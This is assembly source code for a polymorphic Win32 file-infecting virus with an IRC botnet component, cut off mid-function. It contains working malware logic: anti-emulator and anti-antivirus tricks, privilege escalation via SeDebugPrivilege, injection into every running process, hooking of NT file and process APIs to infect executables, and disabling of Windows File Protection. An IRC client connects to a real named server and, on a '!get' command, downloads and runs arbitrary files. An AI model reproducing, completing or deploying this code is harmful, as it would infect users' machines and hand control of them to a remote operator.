.586p
.model flat, stdcall
option casemap: none
includelib \masm32\lib\kernel32.lib
RELEASE equ 1
pusht macro text
local @@0
call @@0
db text, 0
@@0:
endm
; ----------<<< Genetic Polymorphism based on Win32.ThanksToDarwin >>>----------
G_IMPORT equ 00000001h ; 1. call a random import from *32.DLL
G_IMPORT2 equ 00000002h ; 2. " " (if 1+2 then we call twice)
G_NOEMUL equ 00000004h ; 3. loop 256 times before proceeding
G_SPECKEY equ 00000008h ; 4. key is just set (instead of incrementing in loop)
G_SPECKEY2 equ 00000010h ; 5. with ~4: LOOP (instead of DEC+JNZ)
G_CALL equ 00000020h ; 6. CALL end_of_code (instead of CALL @@0: POP reg)
G_DISTANCE equ 00000040h ; 7. SUB reg, ... (instead of ADD)
G_SIZE equ 00000080h ; 8. fancy setting of cnt reg (instead of MOV)
G_SIZEM equ 00000100h ; 9. with 8: SUB cnt, cnt (instead of XOR)
G_SIZEA equ 00000200h ; 10. with 8: XOR cnt, <size> (instead of OR)
G_1STVAL equ 00000400h ; 11. with 4: fancy key setup (instead of MOV)
G_1STVALB equ 00000800h ; 12. with 11: XOR key, key (instead of AND key, 0)
G_ADDENC equ 00001000h ; 13. with 11: OR key, <enckey> (instead of ADD)
G_GETBYTE equ 00002000h ; 14. XCHG AL, [reg] (instead of MOV)
G_ENCRYPT equ 00004000h ; 15. XOR AL, key (instead of SUB)
G_STORE equ 00008000h ; 16. MOV [reg], AL (instead of XCHG)
G_INCREMENT equ 00010000h ; 17. ADD reg, 1 (instead of INC)
G_SLIDKEY equ 00020000h ; 18. bypass key change
G_SLIDKEYM equ 00040000h ; 19. with ~18: INC key (instead of ADD key, ...)
G_ECOUNT equ 00080000h ; 20. DEC cnt (instead of SUB cnt, 1)
G_LOOP equ 00100000h ; 21. OR cnt,cnt+JNZ (instead of CMP cnt,0+JA/JNE)
G_LOOP2 equ 00200000h ; 22. with ~21: JNE (instead of JA)
G_CALLRET equ 00400000h ; 23. with 6: PUSH reg+RET (instead of JMP reg)
G_SEHEAX equ 00800000h ; 24. with 1|2: use EAX as CONTEXT ptr (instead of first ECX/EDX in pr_*)
G_SEHEBP equ 01000000h ; 25. with 1|2: restore EBP/ESP from SEH (and not before LEAVE)
G_ASEHEBP equ 02000000h ; 26. with 1|2: restore EBP/ESP after SEH
G_SEHEARLY equ 04000000h ; 27. with 1|2: close SEH early, before the loop
G_FRAME equ 08000000h ; 28. build stack frame
G_KEEPEP equ 10000000h ; 29. don't modify AddressOfEntryPoint
G_ALIGN equ 20000000h ; 30. 4-byte alignment between functions
G_PUSHPOS equ 40000000h ; 31. PUSH reg before GetByte (and not before Size)
G_EPO equ 80000000h ; 32. Entry Point Obscuring
NUM_GENES equ 32
; ------------------------------------------------------------------------------
.code
assume fs:nothing
entry_point:
call skip_begin
begin:
n_GetLastError db 'GetLastError', 0
skip_begin:
mov eax, [esp]
test dword ptr [eax+(genes-begin)], G_EPO
cld ; normally not necessary in stdcall, but polymorphic decryptor manipulates this
mov [eax+(save_ebx-begin)], ebx
mov ebx, [esp+4]
.if !zero?
pop ecx ; we are already called, so play rather with this return address
mov [eax+(save_esi-begin)], esi
mov [eax+(save_edi-begin)], edi
.if byte ptr [eax+(epo_restore-begin)] == 0e8h ; borland?
add ebx, [eax+(epo_restore-begin)+1]
mov ebx, [ebx+2]
push dword ptr [ebx]
.else ; microsoft
mov ebx, [eax+(epo_restore-begin)+2]
push dword ptr [ebx]
.endif
pop ebx
.endif
push ebp
mov ebp, eax
sub dword ptr [esp+4], (begin-first_generation_host)
ENTRY_POINT_DELTA = ($-4)
and ebx, 0fffff000h ; PE image must be page aligned
sub ebp, offset begin
mov edi, [esp+4]
lea esi, poly_decrypt[ebp]
db 0b9h ; MOV ECX, imm32
poly_len dd ?
rep movsb
rdtsc ; fool most emulated platforms, single-steppers etc
mov ecx, eax
rdtsc ; (greetings, NOD32!)
sub eax, ecx
cmp eax, 32
ja return_to_host
kernel_image_lookup:
cmp dword ptr [ebx+78], 'sihT'
je kernel_image_found
continue_kernel_lookup:
; instead of (at first sight prolly more logical) 4096, let's use 256. This
; will make the loop longer and at least NAV emulator gives up (every
; emulator gives up after some amount of time due to the halting problem)
sub ebx, 256
jnz kernel_image_lookup
kernel_image_found:
mov eax, ebx
add eax, [ebx+3ch]
cmp word ptr [eax], 'EP'
jne continue_kernel_lookup
mov edx, [eax+78h]
add edx, ebx
mov esi, [edx+20h] ; AddressOfNames
mov ecx, [edx+18h] ; NumberOfNames
add esi, ebx
push ecx
kernel_export_lookup:
lodsd
add eax, ebx
cmp word ptr [eax+2], 'Pt'
jne try_next_export
cmp dword ptr [eax+5], 'dAco'
je kernel_export_found
try_next_export:
loop kernel_export_lookup
; we are here if EBX taken from the stack was not in KERNEL32.DLL
pop ecx
pop ebp
ret
kernel_export_found:
sub [esp], ecx
mov esi, [edx+24h]
pop ecx
add esi, ebx
movzx eax, word ptr [esi+ecx*2]
mov edi, [edx+1ch]
add edi, ebx
mov esi, [edi+eax*4]
lea ecx, n_CloseHandle[ebp]
add esi, ebx
push ecx
push ebx
call esi
lea ecx, n_CreateEvent[ebp]
mov CloseHandle[ebp], eax
push ecx
push ebx
call esi
lea ecx, n_GetLastError[ebp]
mov CreateEvent[ebp], eax
push ecx
push ebx
call esi
mov GetLastError[ebp], eax
; this event object prevents virus from being loaded infinitely
call create_my_event
test eax, eax
jz return_to_host
push eax
call [GetLastError+ebp]
test eax, eax
ifdef RELEASE
jnz close_return_to_host
endif
lea eax, crypted_start[ebp]
mov dl, [eax-(crypted_start-encryption_key)]
call crypt_data
jmp crypted_start
close_return_to_host:
; don't keep the handle open, s.o. may request a shutdown, in which
; case we wait for deleting the event [** shutdown not implemented]
call [CloseHandle+ebp]
return_to_host:
test dword ptr genes[ebp], G_EPO
.if !zero?
lea esi, epo_restore[ebp]
mov edi, [esp+4]
movsb
movsd
mov ebx, save_ebx[ebp]
mov esi, save_esi[ebp]
mov edi, save_edi[ebp]
.endif
pop ebp
ret
n_CreateEvent db 'CreateEventA', 0
n_CloseHandle db 'CloseHandle', 0
build_security_attributes:
pop edx
push 0 ; \
push 0 ; | build a security
push 0 ; | descriptor with
push 0 ; | a dummy DACL
push 00040001h ; /
mov eax, esp
push 0 ; bInheritHandle
push eax ; lpSecurityDescriptor
push 12 ; nLength
mov eax, esp
jmp edx
my_event_name db 'VT_4', 0, 0
create_my_event:
xor ecx, ecx
call build_security_attributes
lea edx, my_event_name[ebp]
push edx
push ecx
push ecx
push eax
call [CreateEvent+ebp]
add esp, 32
ret
encryption_key db 0
; some lame "crypting engine" to make strings
; unreadable by the first look...
crypt_data:
mov dh, dl
mov ecx, CRYPTED_SIZE
crypt_data_loop:
xor [eax], dl
inc eax
add dl, dh
loop crypt_data_loop
ret
crypted_start:
and infector_lock[ebp], 0
and irc_parser[ebp], 0
and nt_map_extra[ebp], 0
push edi
mov byte ptr mapping_wait[ebp], 1
mov GetProcAddress[ebp], esi
lea esi, import_names_kernel[ebp]
xor ecx, ecx
lea edi, import_addr_kernel[ebp]
mov cl, NUMBER_OF_KERNEL_IMPORTS
call import_functions
pop edi
call [GetVersion+ebp]
shr eax, 31
jz nt_startup
mov eax, [edi+20] ; VxDCall4
push 40h ; PAGE_EXECUTE_READWRITE
add eax, ebx
push 08001000h ; MEM_COMMIT or VA_SHARED
mov VxDCall[ebp], eax
push TOTAL_SIZE
push 0
call [VirtualAlloc+ebp]
test eax, eax
jz close_return_to_host
xchg eax, edi
lea esi, entry_point[ebp]
mov ebp, edi
mov ecx, ((ALMOST_TOTAL+3)/4)
sub ebp, offset entry_point
lea edx, w9x_relocated[ebp]
rep movsd
jmp edx
w9x_relocated:
sub esp, 8*4
mov edi, esp
push 8
xor eax, eax
pop ecx
lea edx, w9x_ring0[ebp]
rep stosd
mov edi, esp
mov [edi+4*4], edx
inc byte ptr [edi+7*4]
push edi
push 00010003h ; _PagerRegister
call [VxDCall+ebp]
add esp, 8*4
test eax, eax
jz close_return_to_host
xchg edi, eax
push 0
push 1
push 80000400h
push 00010000h ; _PageReserve
call [VxDCall+ebp]
test eax, eax
jz close_return_to_host
push 0
push eax
push 00040000h
push 0
shr eax, 12
push edi
push 1
push eax
push 00010001h ; _PageCommit
call [VxDCall+ebp]
push 0001000Ah ; _PageFree
call [VxDCall+ebp]
call wait_for_mapping_ok
jmp close_return_to_host
wait_for_mapping_ok:
push 1
mapping_wait = ($-1)
pop ecx
jecxz mapping_ok
push 10
call [Sleep+ebp]
jmp wait_for_mapping_ok
mapping_ok:
ret
nt_startup:
cmp CreateToolhelp32Snapshot[ebp], 0
je close_return_to_host
pusht 'NTDLL'
call [GetModuleHandle+ebp]
lea esi, import_names_ntdll[ebp]
xor ecx, ecx
lea edi, import_addr_ntdll[ebp]
mov cl, NUMBER_OF_NTDLL_IMPORTS
xchg eax, ebx
call import_functions
cmp RtlUnicodeStringToAnsiString[ebp], 0
je close_return_to_host ; Win2K is required
mov eax, NtCreateFile[ebp]
push [eax+1]
pop idx_NtCreateFile[ebp]
mov eax, NtOpenFile[ebp]
push [eax+1]
pop idx_NtOpenFile[ebp]
mov eax, NtCreateProcess[ebp]
push [eax+1]
pop idx_NtCreateProcess[ebp]
mov ecx, NtCreateProcessEx[ebp]
jecxz no_NCPE
push [ecx+1]
pop idx_NtCreateProcessEx[ebp]
mov ecx, NtCreateUserProcess[ebp]
jecxz no_NCPE
push [ecx+1]
pop idx_NtCreateUserProcess[ebp]
no_NCPE:
call build_security_attributes
lea edi, ircbuf[ebp] ; find place for UNICODE_STRING
mov ecx, edi
push 0 ; SecurityQualityOfService
neg cl
push dword ptr [eax+4] ; SecurityDescriptor
and ecx, 3
push 40h ; Attributes
add edi, ecx ; align up to 4 bytes
push edi ; ObjectName
push 0 ; RootDirectory
push 6*4 ; Length
lea esi, BaseNamedObjs[ebp]
mov ecx, FILEMAP_NAME_LEN
lea eax, [ecx*2-2]
stosw
lea eax, [ecx*2]
stosw
lea eax, [edi+4]
stosd
xor ah, ah
lea edx, section_name[ebp]
build_unicode_section_name:
lodsb
mov [edx], ax
stosw
add edx, 2
loop build_unicode_section_name
mov edx, esp
push 0
push TOTAL_SIZE
mov ecx, esp
push 0
mov eax, esp
push 0 ; FileHandle
push 08000000h ; SectionAttributes = SEC_COMMIT
push 40h ; PageAttributes = PAGE_EXECUTE_READWRITE
push ecx ; MaximumSize
push edx ; ObjectAttributes
push 14 ; DesiredAccess = SECTION_MAP_EXECUTE | SECTION_MAP_READ | SECTION_MAP_WRITE
push eax ; SectionHandle
call [NtCreateSection+ebp]
pop eax
add esp, 64
push TOTAL_SIZE
mov edx, esp
push 0
mov ecx, esp
push 40h ; Protect = PAGE_EXECUTE_READWRITE
push 0 ; AllocationType = MEM_COMMIT
push 2 ; InheritDisposition = ViewUnmap
push edx ; ViewSize
push 0 ; SectionOffset
push TOTAL_SIZE ; CommitSize
push 0 ; ZeroBits
push ecx ; BaseAddress
push -1 ; ProcessHandle
push eax ; SectionHandle
call [NtMapViewOfSection+ebp]
pop edi
pop ecx
test edi, edi
jz close_return_to_host
lea esi, entry_point[ebp]
mov ecx, ((ALMOST_TOTAL+3)/4)
mov ebp, edi
rep movsd
sub ebp, offset entry_point
lea eax, nt_relocated[ebp]
jmp eax
nt_relocated:
push eax
push esp
push 20h ; TOKEN_ADJUST_PRIVILEGES
push -1 ; GetCurrentProcess
call [NtOpenProcessToken+ebp]
test eax, eax
pop edi
jnz skip_adjust_privs
call init_advapi32
pusht 'SeDebugPrivilege'
push edi
call nt_grant_priv
push hAdvapi32[ebp]
call [FreeLibrary+ebp]
push edi
call [CloseHandle+ebp]
skip_adjust_privs:
push 0
push 2
call [CreateToolhelp32Snapshot+ebp]
mov ecx, 296
xchg eax, edi
sub esp, ecx
mov [esp], ecx
push esp
push edi
call [Process32First+ebp]
xor esi, esi
and virus_pid[ebp], 0
loop_install_everywhere:
push esp
push edi
call [Process32Next+ebp]
test eax, eax
jz nt_startup_complete
inc esi
cmp esi, 4
jb loop_install_everywhere
push dword ptr [esp+8]
push 0
push 2ah
call [OpenProcess+ebp]
test eax, eax
jz loop_install_everywhere
xchg eax, ebx
call nt_infect_process
xor ecx, ecx
xchg eax, ecx
jecxz skip_inject
cmp virus_pid[ebp], eax
jne skip_inject
cmp dword ptr [esp+36], 'srsc'
je skip_inject
add ecx, (kernel_thread-entry_point)
push eax
push esp ; lpThreadId
push eax ; dwCreationFlags
push esi ; lpParameter
push ecx ; lpStartAddress
push eax ; dwStackSize
push eax ; lpThreadAttributes
push ebx ; hProcess
call [CreateRemoteThread+ebp]
test eax, eax
pop ecx
jz skip_inject
push dword ptr [esp+8]
pop virus_pid[ebp]
call wait_for_mapping_ok
skip_inject:
push ebx
call [CloseHandle+ebp]
jmp loop_install_everywhere
nt_startup_complete:
add esp, 296
push edi
call [CloseHandle+ebp]
jmp close_return_to_host
align 4
;------------------------
db 'XXX'
fastquit db 0
total_size dd ALMOST_TOTAL
sockaddr_offs dd (sockaddr_in-entry_point)
infector_lock dd 0
irc_parser dd 0
nt_map_extra dd 0
genes_offs dd (genes-entry_point)
;------------------------
import_functions:
push ecx
push esi
push ebx
call [GetProcAddress+ebp]
stosd
pop ecx
skip_import_name:
lodsb
test al, al
jnz skip_import_name
loop import_functions
ret
init_advapi32:
lea edx, szADVAPI32[ebp]
push edx
call [LoadLibrary+ebp]
mov hAdvapi32[ebp], eax
pusht 'LookupPrivilegeValueA'
push eax
call [GetProcAddress+ebp]
mov LookupPrivilegeValue[ebp], eax
ret
BaseNamedObjs db '\BaseNamedObjects\VtSect', 0
FILEMAP_NAME_LEN = ($ - BaseNamedObjs)
import_names_kernel:
db 'lstrlen', 0
db 'CreateFileA', 0
db 'CreateFileMappingA', 0
db 'CreateProcessA', 0
db 'CreateRemoteThread', 0
db 'CreateThread', 0
db 'CreateToolhelp32Snapshot', 0
db 'ExitThread', 0
db 'FileTimeToSystemTime', 0
db 'FreeLibrary', 0
db 'GetFileAttributesA', 0
db 'GetFileSize', 0
db 'GetFileTime', 0
db 'GetModuleHandleA', 0
db 'GetTempFileNameA', 0
db 'GetTempPathA', 0
db 'GetVersion', 0
db 'GetVersionExA', 0
db 'LoadLibraryA', 0
db 'MapViewOfFile', 0
db 'OpenFileMappingA', 0
db 'OpenProcess', 0
db 'Process32First', 0
db 'Process32Next', 0
db 'SetFileAttributesA', 0
db 'SetFileTime', 0
db 'Sleep', 0
db 'SystemTimeToFileTime', 0
db 'UnmapViewOfFile', 0
db 'VirtualAlloc', 0
db 'WriteFile', 0
import_names_ntdll:
db 'NtAdjustPrivilegesToken', 0
db 'NtCreateFile', 0
db 'NtCreateProcess', 0
db 'NtCreateProcessEx', 0
db 'NtCreateSection', 0
db 'NtCreateUserProcess', 0
db 'NtMapViewOfSection', 0
db 'NtOpenFile', 0
db 'NtOpenProcessToken', 0
db 'NtOpenSection', 0
db 'NtProtectVirtualMemory', 0
db 'NtQueryInformationToken', 0
db 'NtWriteVirtualMemory', 0
db 'RtlUnicodeStringToAnsiString', 0
import_names_wsock32:
db 'WSAStartup', 0
db 'closesocket', 0
db 'connect', 0
db 'gethostbyname', 0
db 'recv', 0
db 'send', 0
db 'socket', 0
import_names_wininet:
db 'InternetCloseHandle', 0
db 'InternetGetConnectedState', 0
db 'InternetOpenA', 0
db 'InternetOpenUrlA', 0
db 'InternetReadFile', 0
szADVAPI32 db 'ADVAPI32.DLL', 0
import_names_advapi32:
db 'RegCloseKey', 0
db 'RegOpenKeyExA', 0
db 'RegQueryValueExA', 0
db 'RegSetValueExA', 0
nt_grant_priv:
push esi
xor esi, esi
push 2 ; Attributes = SE_PRIVILEGE_ENABLED
push esi ; Luid (1)
push esi ; Luid (2)
mov edx, esp
push 1 ; PrivilegeCount
push edx
push [edx+24]
push esi
call [LookupPrivilegeValue+ebp]
mov eax, esp
push esi ; RequiredLength
push esi ; PreviousPrivileges
push esi ; PreviousPrivilegesLength
push eax ; TokenPrivileges
push esi ; DisableAllPrivileges
push [eax+24] ; TokenHandle
call [NtAdjustPrivilegesToken+ebp]
add esp, 16
pop esi
ret 8
; ECX = address of our function, EAX = address of function to hook
nt_hook_api_remote:
lea ecx, [ecx-5]
sub ecx, eax
push ecx ; \ build CALL xxx
push 0e8000000h ; / on the stack
lea ecx, [esp+3]
push 0 ; NumberOfBytesWritten
push 5 ; NumberOfBytesToWrite
push ecx ; Buffer
push eax ; BaseAddress
push ebx ; ProcessHandle
push 5
mov ecx, esp
push eax
mov edx, esp
push eax
push esp ; OldAccessProtection
push 40h ; NewAccessProtection = PAGE_EXECUTE_READWRITE
push ecx ; NumberOfBytesToProtect
push edx ; BaseAddress
push ebx ; ProcessHandle
call [NtProtectVirtualMemory+ebp]
add esp, 12
call [NtWriteVirtualMemory+ebp]
add esp, 8
ret
; Why not use OpenFileMapping, which we import anyway? Because it doesn't work
; on Vista (session separation: \BaseNamedObjects is now for critical global
; stuff only, kernel32.dll doesn't allocate handles there).
; (And why not use CreateFileMapping in the 1st place? Because we can't avoid
; DEP faults that way.)
nt_open_section:
lea edx, section_name[ebp]
xor ecx, ecx
push 0
push edx
push FILEMAP_NAME_LEN shl 17 + FILEMAP_NAME_LEN*2-2
mov eax, esp
push ecx ; SecurityQualityOfService
push ecx ; SecurityDescriptor
push 40h ; Attributes = OBJ_CASE_INSENSITIVE
push eax ; ObjectName
push ecx ; RootDirectory
push 6*4 ; Length
add eax, 8
push esp ; ObjectAttributes
push 14 ; DesiredAccess = SECTION_MAP_READ | SECTION_MAP_WRITE
push eax ; SectionHandle
call [NtOpenSection+ebp]
add esp, 6*4 + 8
xor edx, edx
test eax, eax
setns dl
neg edx
pop eax
and eax, edx
ret
; EBX = process handle
nt_infect_process:
push edi
xor edi, edi
call nt_open_section
jz exit_nt_infect_process
push eax
push TOTAL_SIZE
mov edx, esp
push 0
mov ecx, esp
push 40h ; Protect = PAGE_EXECUTE_READWRITE
push 100000h ; AllocationType = MEM_TOP_DOWN
push 2 ; InheritDisposition = ViewUnmap
push edx ; ViewSize
push 0 ; SectionOffset
push TOTAL_SIZE ; CommitSize
push 0 ; ZeroBits
push ecx ; BaseAddress
push ebx ; ProcessHandle
push eax ; SectionHandle
call [NtMapViewOfSection+ebp]
pop edi
pop ecx
call [CloseHandle+ebp]
test edi, edi
jz exit_nt_infect_process
mov ecx, nt_map_extra[ebp]
jecxz skip_map_extra
lea edx, entry_point[ebp]
add edx, ecx
push edi
push ebx
call edx
skip_map_extra:
mov eax, NtCreateFile[ebp]
lea ecx, [edi+(new_NtCreateFile-entry_point)]
call nt_hook_api_remote
mov eax, NtOpenFile[ebp]
lea ecx, [edi+(new_NtOpenFile-entry_point)]
call nt_hook_api_remote
mov eax, NtCreateProcess[ebp]
lea ecx, [edi+(new_NtCreateProcess-entry_point)]
call nt_hook_api_remote
mov eax, NtCreateProcessEx[ebp]
test eax, eax
jz exit_nt_infect_process
lea ecx, [edi+(new_NtCreateProcessEx-entry_point)]
call nt_hook_api_remote
mov eax, NtCreateUserProcess[ebp]
test eax, eax
jz exit_nt_infect_process
lea ecx, [edi+(new_NtCreateUserProcess-entry_point)]
call nt_hook_api_remote
exit_nt_infect_process:
mov eax, edi
pop edi
ret
w9x_spawn_thread:
push ebp
call __w9x_spawn_thread
__w9x_spawn_thread:
pop ebp
sub ebp, offset __w9x_spawn_thread
xor ecx, ecx
lea eax, kernel_thread[ebp]
push ecx
push esp ; lpThreadId
push ecx ; dwCreationFlags
push ecx ; lpParameter
push eax ; lpStartAddress
push ecx ; dwStackSize
push ecx ; lpThreadAttributes
call [CreateThread+ebp]
xchg [esp], eax
call [CloseHandle+ebp]
pop ebp
ret 4
w9x_ring0:
push ebp
call __w9x_ring0
__w9x_ring0:
pop ebp
sub ebp, offset __w9x_ring0
push -1
lea edx, w9x_spawn_thread[ebp]
push eax
push edx
_QueueUserAPC:
int 20h
dd 002a0024h
add esp, 12
mov word ptr _QueueUserAPC[ebp], 20cdh
mov dword ptr _QueueUserAPC[ebp+2], 002a0024h
pop ebp
ret_w9x_ring0:
ret
gen_random:
push 26
pop eax
call randmod
lea eax, [edx+'a']
stosb
dec cl
jnz gen_random
ret
randmod:
imul edx, random_seed[ebp], 134775813
inc edx
mov random_seed[ebp], edx
mul edx
ret
download_thread:
push ebp
call __download_thread
__download_thread:
pop ebp
sub ebp, offset __download_thread
mov ebx, hInternet[ebp]
cmp dword ptr [esp+8], 0
je no_download
sub esp, 520
push esp
push 260
call [GetTempPath+ebp]
mov edi, esp
lea eax, [esp+260]
push eax ; lpTempFileName
push 0 ; uUnique
pusht 'VRR' ; lpPrefixString
push edi ; lpPathName
call [GetTempFileName+ebp]
xor ecx, ecx
lea edx, [edi+260]
push ecx ; hTemplateFile
push ecx ; dwFlagsAndAttributes
push 2 ; dwCreationDistribution = CREATE_ALWAYS
push ecx ; lpSecurityAttributes
push 1 ; dwShareMode = FILE_SHARE_READ
push 40000000h ; dwDesiredAccess = GENERIC_WRITE
push edx ; lpFileName
call [CreateFile+ebp]
xchg esi, eax
test esi, esi
jz end_download
loop_download_file:
push eax
push esp ; ReadSize
push 260 ; BufSize
push edi ; Buf
push [esp+544] ; hFile
call [InternetReadFile+ebp]
pop ecx
test eax, eax
jz download_complete
jecxz download_complete
push eax
mov edx, esp
push 0 ; lpOverlapped
push edx ; lpNumberOfBytesWritten
push ecx ; nNumberOfBytesToWrite
push edi ; lpBuffer
push esi ; hFile
call [WriteFile+ebp]
pop ecx
test eax, eax
jnz loop_download_file
download_complete:
push esi
call [CloseHandle+ebp]
lea edx, [edi+17*4]
push edx ; lpProcessInformation
push edi ; lpStartupInfo
push 17*4
pop eax
lea edx, [edi+260]
stosd
xor eax, eax
push 16
pop ecx
rep stosd
push eax ; lpCurrentDirectory
push eax ; lpEnvironment
push eax ; dwCreationFlags
push eax ; bInheritHandles
push eax ; lpThreadAttributes
push eax ; lpProcessAttributes
push eax ; lpCommandLine
push edx ; lpApplicationName
call [CreateProcess+ebp]
end_download:
add esp, 520
push [esp+8]
call [InternetCloseHandle+ebp]
no_download:
push ebx
call [InternetCloseHandle+ebp]
pop ebp
ret 4
parse_irc:
.if byte ptr [esi] == 10
inc esi
.endif
mov ecx, irc_parser[ebp]
jecxz no_irc_parser
lea edx, entry_point[ebp]
add edx, ecx
push esi
call edx
test al, al
js parse_error
jz parse_success
no_irc_parser:
cmp byte ptr [esi], ':'
jne no_prefix
skip_prefix:
inc esi
cmp byte ptr [esi], 0
je parse_success
cmp byte ptr [esi], ' '
jne skip_prefix
inc esi
no_prefix:
.if dword ptr [esi] == 'GNIP'
mov ecx, edi
mov byte ptr [esi+1], 'O'
sub ecx, esi
push ecx
push 0
push ecx
push esi
push ebx
call [send+ebp]
pop ecx
cmp eax, ecx
jne parse_error
lea eax, join_cmd[ebp]
push 0
push JOIN_LENGTH
push eax
push ebx
call [send+ebp]
cmp eax, JOIN_LENGTH
jne parse_error
.elseif dword ptr [esi] == 'VIRP'
add esi, 8
find_msg_text:
lodsb
cmp al, 13
je parse_success
cmp al, ' '
jne find_msg_text
lodsb
cmp al, ':'
jne parse_success
lodsd
or eax, 20202020h
cmp eax, 'teg!'
jne parse_success
lodsb
cmp al, ' '
jne error_with_fastquit
cmp dword ptr [esi-1], 'tth '
jne parse_success
cmp dword ptr [esi+3], '//:p'
jne parse_success
mov byte ptr [edi-1], 0
rdtsc
mov edx, 10000
mul edx
push edx
call [Sleep+ebp]
xor eax, eax
push eax ; dwFlags
push eax ; lpszProxyBypass
push eax ; lpszProxy
push eax ; dwAccessType = INTERNET_OPEN_TYPE_PRECONFIG
pusht 'Download' ; lpszAgent
call [InternetOpen+ebp]
test eax, eax
jz parse_success
xor ecx, ecx
mov hInternet[ebp], eax
push ecx ; dwContext
push 80000200h ; dwFlags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_UI
push ecx ; dwHeadersLength
push ecx ; lpszHeaders
push esi ; lpszUrl
push eax ; hInternet
call [InternetOpenUrl+ebp]
lea edx, download_thread[ebp]
push eax
xor ecx, ecx
push esp ; lpThreadId
push ecx ; dwCreationFlags
push eax ; lpParameter
push edx ; lpStartAddress
push ecx ; dwStackSize
push ecx ; lpThreadAttributes
call [CreateThread+ebp]
xchg [esp], eax
call [CloseHandle+ebp]
.endif
parse_success:
clc
ret
error_with_fastquit:
or fastquit[ebp], 1
parse_error:
stc
ret
; from 29A:
sfc_code_to_patch db 6ah, 01h, 6ah, 01h, 0ffh, 33h, 0ffh, 73h, 04h, 0ffh, 15h
SFC_CODE_LENGTH = ($ - sfc_code_to_patch)
try_disable_sfc:
test eax, eax
jz exit_try_disable_sfc
xor ebx, ebx
mov edx, eax
mov bl, SFC_CODE_LENGTH
add edx, [eax + 3ch]
lea esi, sfc_code_to_patch[ebp]
mov edi, [edx + 268]
mov ecx, [edx + 264]
add edi, eax
sub ecx, ebx
find_sfc_code:
pushad
mov ecx, ebx
repe cmpsb
popad
je sfc_code_found
inc edi
loop find_sfc_code
jmp exit_try_disable_sfc
sfc_code_found:
add edi, 15
push ebx
mov ecx, esp
push edi
mov edx, esp
push eax
push esp ; OldAccessProtection
push 40h ; NewAccessProtection
push ecx ; NumberOfBytesToProtect
push edx ; BaseAddress
push -1 ; ProcessHandle
call [NtProtectVirtualMemory+ebp]
mov ecx, ExitThread[ebp]
add esp, 12
sub ecx, edi
sub ecx, 7
; make the thread go away
mov dword ptr [edi], 0e8006ah
mov dword ptr [edi + 3], ecx
exit_try_disable_sfc:
ret
registry_key db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer', 0
registry_value db 'TargetHost', 0
sockaddr_in db 2, 0, 255, 240, 0, 0, 0, 0
ifndef RELEASE
server_host db 'localhost', 0
else
server_host db 'proxim.ircgalaxy.pl', 0
endif
irc_register db 'NICK '
irc_nick db '12345678', 10, 'USER '
irc_user db 'x010401 . . :-'
REGISTER_LENGTH = ($ - irc_register)
join_cmd db 'JOIN '
irc_chan db '&virtu', 10
JOIN_LENGTH = ($-join_cmd)
kernel_thread:
push ebp
call __kernel_thread
__kernel_thread:
pop ebp
sub ebp, offset __kernel_thread
mov fastquit[ebp], 0
call [GetVersion+ebp]
shr eax, 31
jz nt_thread
push 30
mov esi, VxDCall[ebp]
pop ecx
scan_for_callback:
lodsb
cmp al, 2eh ; CS: prefix?
jne continue_scanning
cmp word ptr [esi], 1dffh ; CALL FAR [xxx]?
jne continue_scanning
lea edi, old_VxDCall_int30_callback[ebp]
mov esi, [esi+2]
push edi
movsd
movsw
lea eax, VxDCall_int30_hook[ebp]
pop VxDCall_int30_hook_jmp[ebp]
cli
mov [esi-6], eax
mov [esi-2], cs
sti
mov cl, 1
continue_scanning:
loop scan_for_callback
jmp common_thread
nt_thread:
call nt_open_section
cmp dword ptr [esp+8], 4
jne common_thread
pusht 'SFC.DLL'
call [LoadLibrary+ebp]
.if eax != 0
push eax
push 2
push eax
call [GetProcAddress+ebp]
call eax
pop eax
call try_disable_sfc
.endif
pusht 'SFC_OS.DLL'
call [LoadLibrary+ebp]
call try_disable_sfc
common_thread:
call create_my_event
dec mapping_wait[ebp]
push 30000
call [Sleep+ebp]
pusht 'USER32.DLL'
call [LoadLibrary+ebp]
pusht 'wsprintfA'
push eax
call [GetProcAddress+ebp]
mov wsprintf[ebp], eax
rdtsc
lea ecx, szADVAPI32[ebp]
mov random_seed[ebp], eax
push ecx
call [LoadLibrary+ebp]
xchg ebx, eax
push NUMBER_OF_ADVAPI32_IMPORTS
lea esi, import_names_advapi32[ebp]
pop ecx
lea edi, import_addr_advapi32[ebp]
call import_functions
mov word ptr sockaddr_in[ebp+2], 0f0ffh
and dword ptr sockaddr_in[ebp+4], 0
lea edx, registry_key[ebp]
push eax
push esp ; phkResult
push 1 ; samDesired = KEY_QUERY_VALUE
push 0 ; ulOptions
push edx ; lpSubKey
push 80000002h ; hKey = HKEY_LOCAL_MACHINE
call [RegOpenKeyEx+ebp]
test eax, eax
pop edx
jnz skip_change_serv
lea ecx, registry_value[ebp]
push edx
push 6
lea esi, sockaddr_in[ebp+2]
push esp ; lpcbData
push esi ; lpData
push eax ; lpType
push eax ; lpReserved
push ecx ; lpValueName
push edx ; hKey
call [RegQueryValueEx+ebp]
pop eax
call [RegCloseKey+ebp]
skip_change_serv:
mov need_restore[ebp], 0
pusht 'WSOCK32.DLL'
call [LoadLibrary+ebp]
xchg ebx, eax
push NUMBER_OF_WSOCK32_IMPORTS
lea esi, import_names_wsock32[ebp]
pop ecx
lea edi, import_addr_wsock32[ebp]
call import_functions
pusht 'WININET.DLL'
call [LoadLibrary+ebp]
test eax, eax
jz exit_kernel
xchg ebx, eax
push NUMBER_OF_WININET_IMPORTS
lea esi, import_names_wininet[ebp]
pop ecx
lea edi, import_addr_wininet[ebp]
call import_functions
cmp InternetGetConnectedState[ebp], 0
je exit_kernel
sub esp, 400
push esp
push 101h
call [WSAStartup+ebp]
add esp, 400
internet_loop:
push eax
mov edx, esp
push 0
push edx
call [InternetGetConnectedState+ebp]
test eax, eax
pop ecx
jnz internet_present
push 5000
call [Sleep+ebp]
jmp internet_loop
internet_present:
.if dword ptr sockaddr_in[ebp+4] == 0
lea eax, server_host[ebp]
push eax
call [gethostbyname+ebp]
test eax, eax
jz disconnected
mov eax, [eax+12]
mov eax, [eax]
push [eax]
pop dword ptr sockaddr_in[ebp+4]
mov need_restore[ebp], 1
.endif
push 0
push 1
push 2
call [socket+ebp]
cmp eax, -1
je disconnected
xchg ebx, eax
lea edx, sockaddr_in[ebp]
push 16
push edx
push ebx
call [connect+ebp]
test eax, eax
jnz _closesocket
lea edi, irc_nick[ebp]
mov cl, 8
call gen_random
push 148
pop esi
sub esp, esi
